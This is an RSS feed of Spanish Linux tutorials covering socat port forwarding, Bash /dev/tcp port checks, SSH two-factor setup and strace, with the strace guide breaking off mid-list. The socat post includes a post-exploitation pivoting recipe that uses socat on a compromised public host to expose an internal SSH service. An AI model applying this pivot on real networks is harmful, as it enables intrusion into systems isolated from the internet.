<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Basico-Linux archivos &#187; Aprende IT</title>
	<atom:link href="https://aprendeit.com/category/basico-linux/feed/" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Todas las novedades sobre IT</description>
	<lastBuildDate>Wed, 03 Sep 2025 16:19:14 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://aprendeit.com/wp-content/uploads/2020/02/LOGO-CORTO-100x100.png</url>
	<title>Basico-Linux archivos &#187; Aprende IT</title>
	<link></link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Usando socat para redirección de puertos TCP</title>
		<link>https://aprendeit.com/usando-socat-para-redireccion-de-puertos-tcp/</link>
					<comments>https://aprendeit.com/usando-socat-para-redireccion-de-puertos-tcp/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Wed, 03 Sep 2025 08:08:12 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=7048</guid>

					<description><![CDATA[<p>Usando socat para redirección de puertos TCP En el mundo de la administración de sistemas y la ciberseguridad, conocer herramientas flexibles y potentes es clave. Una de esas herramientas es ...</p>
<p>La entrada <a href="https://aprendeit.com/usando-socat-para-redireccion-de-puertos-tcp/">Usando socat para redirección de puertos TCP</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Usando socat para redirección de puertos TCP</h2>
<p>En el mundo de la administración de sistemas y la ciberseguridad, conocer herramientas flexibles y potentes es clave. Una de esas herramientas es socat, una utilidad de red que puede parecer sencilla, pero que es extremadamente poderosa tanto para tareas legítimas como para pruebas de penetración. En este artículo, exploraremos cómo usar socat para redirección de puertos HTTP y también cómo puede ser utilizada en movimientos laterales dentro de una red.</p>
<h2>¿Qué es socat?</h2>
<p>socat (SOcket CAT) es una herramienta de línea de comandos que permite establecer conexiones bidireccionales entre dos flujos de datos. Estos flujos pueden ser sockets TCP, UDP, archivos, terminales, dispositivos serie, y más. Piensa en socat como el «netcat con esteroides».</p>
<h2>Redirección de puertos HTTP con socat</h2>
<p>Un caso de uso muy común es redirigir tráfico HTTP desde un puerto a otro. Por ejemplo, si tienes un servidor web corriendo en el puerto 8080 y quieres exponerlo en el puerto 80 sin cambiar la configuración del servicio, puedes hacer lo siguiente:</p>
<pre>sudo socat TCP-LISTEN:80,fork TCP:127.0.0.1:8080</pre>
<h2>¿Qué hace este comando?</h2>
<p>TCP-LISTEN:80 escucha en el puerto 80.</p>
<p>fork permite manejar múltiples conexiones simultáneamente.</p>
<p>TCP:127.0.0.1:8080 redirige todo el tráfico al puerto 8080 de localhost.</p>
<p>Con esto, cualquier petición a tu servidor en el puerto 80 será reenviada automáticamente al 8080. Es muy útil en entornos donde se quiere evitar modificar la configuración de un servicio que ya está corriendo.</p>
<h2 data-start="229" data-end="272">Socat y los movimientos laterales en red</h2>
<p data-start="274" data-end="584">Además de ser útil para redirección de puertos a nivel local, <code data-start="336" data-end="343">socat</code> también es ampliamente utilizado en <strong data-start="380" data-end="405">movimientos laterales</strong> dentro de una red interna comprometida. Esta técnica es habitual en <strong data-start="474" data-end="508">escenarios de post-explotación</strong>, cuando un atacante ya ha ganado acceso a una máquina intermedia en la red.</p>
<h3 data-start="586" data-end="606">Escenario típico</h3>
<p data-start="608" data-end="862">Imagina que un atacante tiene acceso a una máquina que <strong data-start="663" data-end="707">sí está expuesta a Internet (IP pública)</strong>, y desde esa máquina puede acceder internamente a otra máquina que <strong data-start="775" data-end="814">no tiene exposición directa externa</strong>, pero sí está conectada a la misma red interna.</p>
<p data-start="864" data-end="1019">Esta segunda máquina, por ejemplo, podría tener corriendo un servicio (como SSH, RDP, MySQL, etc.) en un puerto que solo es accesible desde la red interna.</p>
<p data-start="1021" data-end="1209">El atacante, desde la máquina comprometida expuesta a Internet, puede usar <code data-start="1096" data-end="1103">socat</code> para <strong data-start="1109" data-end="1151">exponer ese puerto interno al exterior</strong> y acceder al servicio como si estuviera en su propia red.</p>
<h3 data-start="1211" data-end="1254">Comando <code data-start="1223" data-end="1230">socat</code> para exponer el puerto:</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">socat TCP-LISTEN:puerto_externo,<span class="hljs-built_in">bind</span>=0.0.0.0,fork,reuseaddr TCP:ip_interna:puerto_interno<br />
</code></div>
</div>
<h3 data-start="1359" data-end="1380"></h3>
<h3 data-start="1359" data-end="1380">Ejemplo práctico:</h3>
<p data-start="1382" data-end="1614">Supón que la IP interna del segundo equipo es <code data-start="1428" data-end="1442">192.168.1.20</code> y tiene SSH en el puerto <code data-start="1468" data-end="1472">22</code>. La máquina intermedia (la comprometida) tiene una IP pública, y quieres acceder a ese SSH desde tu equipo remoto a través de esa IP pública.</p>
<p data-start="1616" data-end="1649">Ejecuta en la máquina intermedia:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">socat TCP-LISTEN:2222,<span class="hljs-built_in">bind</span>=0.0.0.0,fork,reuseaddr TCP:192.168.1.20:22<br />
</code></div>
</div>
<p data-start="1734" data-end="1743">Con esto:</p>
<ul data-start="1745" data-end="1914">
<li data-start="1745" data-end="1792">
<p data-start="1747" data-end="1792">El puerto <code data-start="1757" data-end="1763">2222</code> queda expuesto públicamente.</p>
</li>
<li data-start="1793" data-end="1914">
<p data-start="1795" data-end="1914">Todo lo que llegue a <code data-start="1816" data-end="1829">puerto 2222</code> en la máquina intermedia se redirige al puerto <code data-start="1877" data-end="1881">22</code> de la IP interna <code data-start="1899" data-end="1913">192.168.1.20</code>.</p>
</li>
</ul>
<p data-start="1916" data-end="1961">Desde fuera, el atacante solo necesita hacer:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ssh usuario@ip_publica -p 2222<br />
</code></div>
</div>
<p data-start="2007" data-end="2094">Y estará accediendo a la máquina que antes <strong data-start="2050" data-end="2093">solo era accesible desde la red interna</strong>.</p>
<h3 data-start="2096" data-end="2136">¿Por qué esto es útil (o peligroso)?</h3>
<ul data-start="2138" data-end="2358">
<li data-start="2138" data-end="2187">
<p data-start="2140" data-end="2187">Permite al atacante <strong data-start="2160" data-end="2171">pivotar</strong> entre máquinas.</p>
</li>
<li data-start="2188" data-end="2257">
<p data-start="2190" data-end="2257">Expone servicios que normalmente estarían <strong data-start="2232" data-end="2256">aislados de Internet</strong>.</p>
</li>
<li data-start="2258" data-end="2358">
<p data-start="2260" data-end="2358">Es una técnica difícil de detectar si no se monitoriza adecuadamente el tráfico saliente/entrante.</p>
</li>
</ul>
<p>La entrada <a href="https://aprendeit.com/usando-socat-para-redireccion-de-puertos-tcp/">Usando socat para redirección de puertos TCP</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/usando-socat-para-redireccion-de-puertos-tcp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cómo Comprobar Puertos en Linux Usando /dev/tcp y /dev/udp (sin Telnet ni Netcat)</title>
		<link>https://aprendeit.com/como-comprobar-puertos-en-linux-usando-dev-tcp-y-dev-udp-sin-telnet-ni-netcat/</link>
					<comments>https://aprendeit.com/como-comprobar-puertos-en-linux-usando-dev-tcp-y-dev-udp-sin-telnet-ni-netcat/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Wed, 11 Jun 2025 22:36:54 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6912</guid>

					<description><![CDATA[<p>Comprobar si un puerto está abierto en un servidor remoto es una tarea común para administradores de sistemas. Aunque herramientas como telnet o netcat (nc) suelen usarse para este fin, ...</p>
<p>La entrada <a href="https://aprendeit.com/como-comprobar-puertos-en-linux-usando-dev-tcp-y-dev-udp-sin-telnet-ni-netcat/">Cómo Comprobar Puertos en Linux Usando /dev/tcp y /dev/udp (sin Telnet ni Netcat)</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Comprobar si un puerto está abierto en un servidor remoto es una tarea común para administradores de sistemas. Aunque herramientas como telnet o netcat (nc) suelen usarse para este fin, Bash ofrece una alternativa incorporada que no necesita instalar nada adicional: el uso de /dev/tcp/ y /dev/udp/.</p>
<p>En este artículo aprenderás cómo usar estas funciones integradas de Bash para verificar puertos TCP y UDP de forma rápida, simple y sin dependencias externas.</p>
<h2>¿Qué es /dev/tcp/host/puerto y /dev/udp/host/puerto?</h2>
<p>Bash tiene una característica oculta que permite usar redirecciones especiales para crear conexiones de red. Estas rutas (/dev/tcp/ y /dev/udp/) no existen en el sistema de archivos, pero Bash las interpreta internamente para abrir sockets.</p>
<pre>echo &gt; /dev/tcp/host/puerto
</pre>
<p>Esto intenta abrir una conexión TCP al host y puerto especificado.</p>
<p>Verificar un Puerto TCP desde Línea de Comandos</p>
<p>Para probar si un puerto está abierto, simplemente ejecuta:</p>
<pre>echo &gt; /dev/tcp/google.com/80 &amp;&amp; echo "Puerto abierto" || echo "Puerto cerrado"
</pre>
<h3>¿Qué hace esto?</h3>
<p>Si la conexión se abre exitosamente, Bash continúa y muestra «Puerto abierto».</p>
<p>Si falla (por ejemplo, el puerto está cerrado o el host no responde), muestra «Puerto cerrado».</p>
<h3>Con timeout</h3>
<p>Para evitar que el comando quede colgado si el host no responde, puedes usar timeout:</p>
<pre>timeout 3 bash -c "echo &gt; /dev/tcp/google.com/80" &amp;&amp; echo "Abierto" || echo "Cerrado o Timeout"
</pre>
<p>🛈 Requiere Bash con soporte de redirección /dev/tcp. No funciona en shells como sh o dash.</p>
<h2>Verificar un Puerto UDP con /dev/udp</h2>
<p>El uso para UDP es similar:</p>
<pre>echo &gt; /dev/udp/8.8.8.8/53 &amp;&amp; echo "Enviado" || echo "Fallo"
</pre>
<p>Pero hay un detalle importante: UDP no garantiza entrega ni respuesta, por lo que este método no te dice si el puerto está abierto realmente.</p>
<h3>¿Cómo recibir respuesta?</h3>
<p>Puedes usar un descriptor de archivo para enviar y luego intentar leer:</p>
<pre>exec 3&lt;&gt; /dev/udp/8.8.8.8/53
echo -ne '\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' &gt;&amp;3
read -t 2 -u 3 respuesta &amp;&amp; echo "Respuesta: $respuesta" || echo "Sin respuesta"
</pre>
<p>Este ejemplo envía una consulta DNS vacía al puerto 53 y espera una respuesta.</p>
<p>Limitaciones del Método<br />
Característica TCP UDP<br />
Detectar si el puerto está abierto Fiable No confiable<br />
Requiere herramientas externas No No<br />
Recibe respuesta del servicio Sí (si el servicio responde) Solo si esperas una respuesta válida</p>
<h3>¿Y si quiero algo más confiable para UDP?</h3>
<p>Si necesitas verificar si un puerto UDP está realmente abierto y responde, mejor usa herramientas como:</p>
<pre>nc -uzv       # netcat en modo UDP
nmap -sU -p   # escaneo UDP con Nmap
</pre>
<p>Usar /dev/tcp/ y /dev/udp/ es una excelente forma de comprobar puertos rápidamente sin depender de herramientas externas. Es especialmente útil en entornos minimalistas o scripts automatizados.</p>
<h2>Resumen rápido:</h2>
<p>✅ TCP: Funciona muy bien para comprobar puertos abiertos.</p>
<p>⚠️ UDP: Puede enviar datagramas, pero no garantiza saber si el puerto está abierto.</p>
<p>🧰 No necesitas instalar nada si tienes Bash.</p>
<p>¿Ya lo has probado en tus scripts? Déjanos tus dudas o comparte cómo lo usas tú.</p>
<p>La entrada <a href="https://aprendeit.com/como-comprobar-puertos-en-linux-usando-dev-tcp-y-dev-udp-sin-telnet-ni-netcat/">Cómo Comprobar Puertos en Linux Usando /dev/tcp y /dev/udp (sin Telnet ni Netcat)</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/como-comprobar-puertos-en-linux-usando-dev-tcp-y-dev-udp-sin-telnet-ni-netcat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cómo proteger tu servidor SSH con Google Authenticator y 2FA</title>
		<link>https://aprendeit.com/como-proteger-tu-servidor-ssh-con-google-authenticator-y-2fa/</link>
					<comments>https://aprendeit.com/como-proteger-tu-servidor-ssh-con-google-authenticator-y-2fa/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Wed, 05 Feb 2025 06:51:06 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Seguridad]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6800</guid>

					<description><![CDATA[<p>Si tienes un servidor Linux y te preocupa la seguridad de tus conexiones SSH, estás en el sitio correcto. La autenticación en dos pasos (2FA) se ha convertido en un ...</p>
<p>La entrada <a href="https://aprendeit.com/como-proteger-tu-servidor-ssh-con-google-authenticator-y-2fa/">Cómo proteger tu servidor SSH con Google Authenticator y 2FA</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Si tienes un servidor Linux y te preocupa la seguridad de tus conexiones SSH, estás en el sitio correcto. La autenticación en dos pasos (2FA) se ha convertido en un método casi imprescindible para proteger accesos importantes. Con Google Authenticator, puedes implementar una protección extra usando contraseñas de un solo uso basadas en el tiempo (TOTP. Aquí te explico, paso a paso y de forma sencilla, cómo configurarlo.</p>
<h2>Paso 1: Instalar Google Authenticator</h2>
<p>Lo primero que necesitas es instalar Google Authenticator en tu servidor. Este programa se integra fácilmente con PAM (Pluggable Authentication Modules) para añadir 2FA a la autenticación SSH.</p>
<p>Abre una terminal y actualiza los paquetes con:</p>
<pre>sudo apt update</pre>
<p>Luego, instala el paquete necesario:</p>
<pre>sudo apt install libpam-google-authenticator
</pre>
<p>Ahora, es momento de configurar Google Authenticator para el usuario que va a conectarse mediante SSH. Si eres tú, simplemente ejecuta:</p>
<pre>google-authenticator</pre>
<p>Cuando ejecutes este comando, el sistema te mostrará un código QR en la pantalla. Abre la app de Google Authenticator (o cualquier otra app compatible con TOTP, como Authy o FreeOTP) y escanea el código. Así se vincularán la app y tu servidor. La aplicación generará códigos de seis dígitos que cambiarán cada cierto tiempo y que necesitarás para iniciar sesión.</p>
<p>Durante el proceso de configuración, el programa te hará una serie de preguntas (como si quieres permitir tokens de emergencia o establecer límites de tiempo). Te recomiendo que leas cada opción y elijas la configuración que mejor te convenga.</p>
<h2>Paso 2: Configurar PAM para Google Authenticator</h2>
<p>Ahora que tienes la app configurada, hay que decirle al sistema que utilice Google Authenticator como parte del proceso de autenticación.</p>
<p>Para ello, edita el archivo de configuración PAM de SSH:</p>
<pre>sudo nano /etc/pam.d/sshd</pre>
<p>Una vez dentro del archivo, añade esta línea al inicio:</p>
<pre>auth required pam_google_authenticator.so</pre>
<p>Guarda los cambios (con Ctrl + O y Enter, y luego Ctrl + X para salir del editor).</p>
<p>Paso 3: Configurar OpenSSH para soportar 2FA<br />
El siguiente paso es modificar la configuración del servicio SSH para que soporte el 2FA. Para ello, edita el archivo de configuración de OpenSSH:</p>
<pre>sudo nano /etc/ssh/sshd_config</pre>
<p>Dentro del archivo, asegúrate de que estas líneas estén configuradas correctamente:</p>
<pre>UsePAM yes
ChallengeResponseAuthentication yes
</pre>
<p>También debes definir el método de autenticación. Vamos a exigir que se use la clave pública junto con el código TOTP, así que añade o modifica esta línea:</p>
<pre>AuthenticationMethods publickey,keyboard-interactive</pre>
<p>Con esta configuración, SSH pedirá primero la autenticación por clave pública y después el código de Google Authenticator.</p>
<h2>Paso 4: Reinicia el servicio SSH</h2>
<p>Para aplicar todos los cambios, es necesario reiniciar el servicio SSH:</p>
<pre>sudo systemctl restart sshd</pre>
<p>Probando la autenticación en dos pasos</p>
<p>Ahora que todo está configurado, es momento de probar si funciona. Cierra la sesión actual y vuelve a conectarte al servidor mediante SSH. Si todo ha ido bien, el sistema te pedirá:</p>
<ul>
<li>Tu clave o password para conectar por SSH.</li>
<li>El código de seis dígitos generado por Google Authenticator.</li>
</ul>
<p>Si introduces ambos correctamente, tendrás acceso al servidor. ¡Así de fácil!</p>
<h2>Consejos adicionales</h2>
<p>Copia de seguridad del código QR: Cuando configures Google Authenticator, guarda una copia del código QR o las claves de emergencia. Si pierdes tu teléfono, te será muy útil.<br />
Limita los intentos fallidos: Para mayor seguridad, puedes configurar fail2ban para bloquear direcciones IP después de varios intentos fallidos.<br />
Deshabilita la autenticación por contraseña: Si solo permites la autenticación por clave pública y 2FA, tu servidor será mucho más seguro.</p>
<p>La entrada <a href="https://aprendeit.com/como-proteger-tu-servidor-ssh-con-google-authenticator-y-2fa/">Cómo proteger tu servidor SSH con Google Authenticator y 2FA</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/como-proteger-tu-servidor-ssh-con-google-authenticator-y-2fa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Guía Básica para Utilizar strace</title>
		<link>https://aprendeit.com/guia-basica-para-utilizar-strace/</link>
					<comments>https://aprendeit.com/guia-basica-para-utilizar-strace/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Tue, 12 Nov 2024 16:04:39 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6612</guid>

					<description><![CDATA[<p>strace es una herramienta de diagnóstico en sistemas Unix y Linux que permite rastrear las llamadas al sistema que realiza un programa en ejecución. Es muy útil para depurar problemas, ...</p>
<p>La entrada <a href="https://aprendeit.com/guia-basica-para-utilizar-strace/">Guía Básica para Utilizar strace</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-p"><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> es una herramienta de diagnóstico en sistemas Unix y Linux que permite rastrear las llamadas al sistema que realiza un programa en ejecución. Es muy útil para depurar problemas, analizar el rendimiento y entender cómo interactúa una aplicación con el sistema operativo. Aquí te dejo una guía básica para comenzar a usar </span><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> y localizar problemas en tiempo de ejecución.</span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">1. Instalación de strace</span></h2>
<p class="md-end-block md-p"><span class="md-plain">La mayoría de las distribuciones de Linux vienen con </span><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> preinstalado. Si no lo tienes, puedes instalarlo con:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation"><span class="cm-comment"># En Debian/Ubuntu</span></span>
<span role="presentation"><span class="cm-builtin">sudo</span> apt-get install strace</span>
<span role="presentation">​</span>
<span role="presentation"><span class="cm-comment"># En CentOS/RHEL</span></span>
<span role="presentation"><span class="cm-builtin">sudo</span> yum install strace</span></pre>
<h2 class="md-end-block md-heading"><span class="md-plain">2. Ejecutar un programa con strace</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Para iniciar un programa y rastrear sus llamadas al sistema, simplemente usa:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace nombre_programa [argumentos]</span></pre>
<p class="md-end-block md-p"><span class="md-plain">Por ejemplo, para rastrear </span><span class="md-pair-s" spellcheck="false"><code>ls</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-builtin">ls</span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">Esto mostrará todas las llamadas al sistema que </span><span class="md-pair-s" spellcheck="false"><code>ls</code></span><span class="md-plain"> realiza desde que inicia hasta que termina.</span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">3. Adjuntar strace a un proceso en ejecución</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Si deseas rastrear un programa que ya está ejecutándose, puedes adjuntar </span><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> a su proceso con el </span><span class="md-pair-s" spellcheck="false"><code>PID</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-p</span> PID</span></pre>
<p class="md-end-block md-p"><span class="md-plain">Para encontrar el </span><span class="md-pair-s" spellcheck="false"><code>PID</code></span><span class="md-plain">, puedes usar el comando </span><span class="md-pair-s" spellcheck="false"><code>ps</code></span><span class="md-plain"> o </span><span class="md-pair-s" spellcheck="false"><code>pgrep</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation"><span class="cm-builtin">ps</span> aux | <span class="cm-builtin">grep</span> nombre_programa</span>
<span role="presentation">pgrep nombre_programa</span></pre>
<h2 class="md-end-block md-heading"><span class="md-plain">4. Filtrar tipos específicos de llamadas al sistema</span></h2>
<p class="md-end-block md-p"><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> genera mucha salida, por lo que puede ser útil filtrar solo las llamadas que te interesan. Para ello, puedes especificar tipos de llamadas con el parámetro </span><span class="md-pair-s" spellcheck="false"><code>-e</code></span><span class="md-plain">:</span></p>
<ul class="ul-list" data-mark="-">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Archivo</span></strong></span><span class="md-plain">: Para ver solo las llamadas relacionadas con archivos.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-e</span> <span class="cm-def">trace</span><span class="cm-operator">=</span>open,close,read,write nombre_programa</span></pre>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Red</span></strong></span><span class="md-plain">: Para ver solo las llamadas relacionadas con la red.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-e</span> <span class="cm-def">trace</span><span class="cm-operator">=</span>network nombre_programa</span></pre>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Errores</span></strong></span><span class="md-plain">: Para ver solo las llamadas que resultan en errores.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-e</span> <span class="cm-def">trace</span><span class="cm-operator">=</span>error nombre_programa</span></pre>
</li>
</ul>
<h2 class="md-end-block md-heading"><span class="md-plain">5. Identificar y localizar problemas comunes</span></h2>
<h3 class="md-end-block md-heading"><span class="md-plain">a. Problemas de permisos</span></h3>
<p class="md-end-block md-p"><span class="md-plain">Si una llamada al sistema falla debido a permisos, verás un error </span><span class="md-pair-s" spellcheck="false"><code>EACCES</code></span><span class="md-plain">. Esto puede significar que el usuario que ejecuta el programa no tiene acceso a algún archivo o directorio. Busca líneas como estas:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="plaintext" spellcheck="false"><span role="presentation">open("/ruta/al/archivo", O_RDONLY) = -1 EACCES (Permission denied)</span></pre>
<h3 class="md-end-block md-heading"><span class="md-plain">b. Archivos no encontrados</span></h3>
<p class="md-end-block md-p"><span class="md-plain">Si un programa intenta abrir un archivo inexistente, verás un error </span><span class="md-pair-s" spellcheck="false"><code>ENOENT</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="plaintext" spellcheck="false"><span role="presentation">open("/ruta/al/archivo", O_RDONLY) = -1 ENOENT (No such file or directory)</span></pre>
<p class="md-end-block md-p"><span class="md-plain">Este tipo de error suele indicar rutas de archivo incorrectas o archivos faltantes.</span></p>
<h3 class="md-end-block md-heading"><span class="md-plain">c. Problemas de red</span></h3>
<p class="md-end-block md-p"><span class="md-plain">Para rastrear problemas de red, puedes filtrar por llamadas como </span><span class="md-pair-s" spellcheck="false"><code>connect</code></span><span class="md-plain">, </span><span class="md-pair-s" spellcheck="false"><code>sendto</code></span><span class="md-plain">, </span><span class="md-pair-s" spellcheck="false"><code>recvfrom</code></span><span class="md-plain">, etc. Si ves un error </span><span class="md-pair-s" spellcheck="false"><code>ECONNREFUSED</code></span><span class="md-plain">, podría indicar que el servidor al que intentas conectarte no está disponible o se está rechazando la conexión.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="plaintext" spellcheck="false"><span role="presentation">connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("192.168.1.1")}, 16) = -1 ECONNREFUSED (Connection refused)</span></pre>
<h3 class="md-end-block md-heading"><span class="md-plain">d. Fallos de memoria</span></h3>
<p class="md-end-block md-p"><span class="md-plain">Errores como </span><span class="md-pair-s" spellcheck="false"><code>ENOMEM</code></span><span class="md-plain"> pueden indicar que el sistema se está quedando sin memoria para ejecutar el programa.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="plaintext" spellcheck="false"><span role="presentation">mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = -1 ENOMEM (Cannot allocate memory)</span></pre>
<h3 class="md-end-block md-heading"><span class="md-plain">e. Errores de llamadas al sistema específicas</span></h3>
<p class="md-end-block md-p"><span class="md-plain">A veces, verás errores en llamadas específicas como </span><span class="md-pair-s" spellcheck="false"><code>fork</code></span><span class="md-plain"> o </span><span class="md-pair-s" spellcheck="false"><code>execve</code></span><span class="md-plain">. Esto puede deberse a que el programa esté intentando ejecutar otro proceso que no encuentra o no tiene permisos. Para problemas con </span><span class="md-pair-s" spellcheck="false"><code>execve</code></span><span class="md-plain">, revisa la existencia y los permisos de ejecución de los binarios.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="plaintext" spellcheck="false"><span role="presentation">execve("/bin/ls", ["ls"], [/* 23 vars */]) = -1 ENOENT (No such file or directory)</span></pre>
<h2 class="md-end-block md-heading"><span class="md-plain">6. Registrar salida a un archivo</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Si necesitas analizar la salida de </span><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain"> después de la ejecución, redirígela a un archivo con </span><span class="md-pair-s" spellcheck="false"><code>-o</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-o</span> salida_strace.log nombre_programa</span></pre>
<p class="md-end-block md-p"><span class="md-plain">Luego puedes analizar el archivo con herramientas como </span><span class="md-pair-s" spellcheck="false"><code>grep</code></span><span class="md-plain"> para buscar errores específicos.</span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">7. Analizar el tiempo de cada llamada</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Usa </span><span class="md-pair-s" spellcheck="false"><code>-T</code></span><span class="md-plain"> para mostrar el tiempo que cada llamada al sistema tarda en completarse, útil para detectar cuellos de botella:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-T</span> nombre_programa</span></pre>
<h2 class="md-end-block md-heading"><span class="md-plain">8. Resumen de estadísticas</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Para obtener un resumen de estadísticas al final de la ejecución, usa </span><span class="md-pair-s" spellcheck="false"><code>-c</code></span><span class="md-plain">. Esto muestra cuántas veces se llamó cada función, cuántos errores ocurrieron y el tiempo total.</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-c</span> nombre_programa</span></pre>
<h2 class="md-end-block md-heading"><span class="md-plain">Ejemplo práctico: Diagnosticar problemas de un programa</span></h2>
<p class="md-end-block md-p"><span class="md-plain">Supongamos que tienes un programa llamado </span><span class="md-pair-s" spellcheck="false"><code>mi_programa</code></span><span class="md-plain"> que está experimentando problemas de rendimiento y fallos ocasionales. Podrías:</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Ejecutar con strace</span></strong></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-o</span> salida.log mi_programa</span></pre>
</li>
<li class="md-list-item">
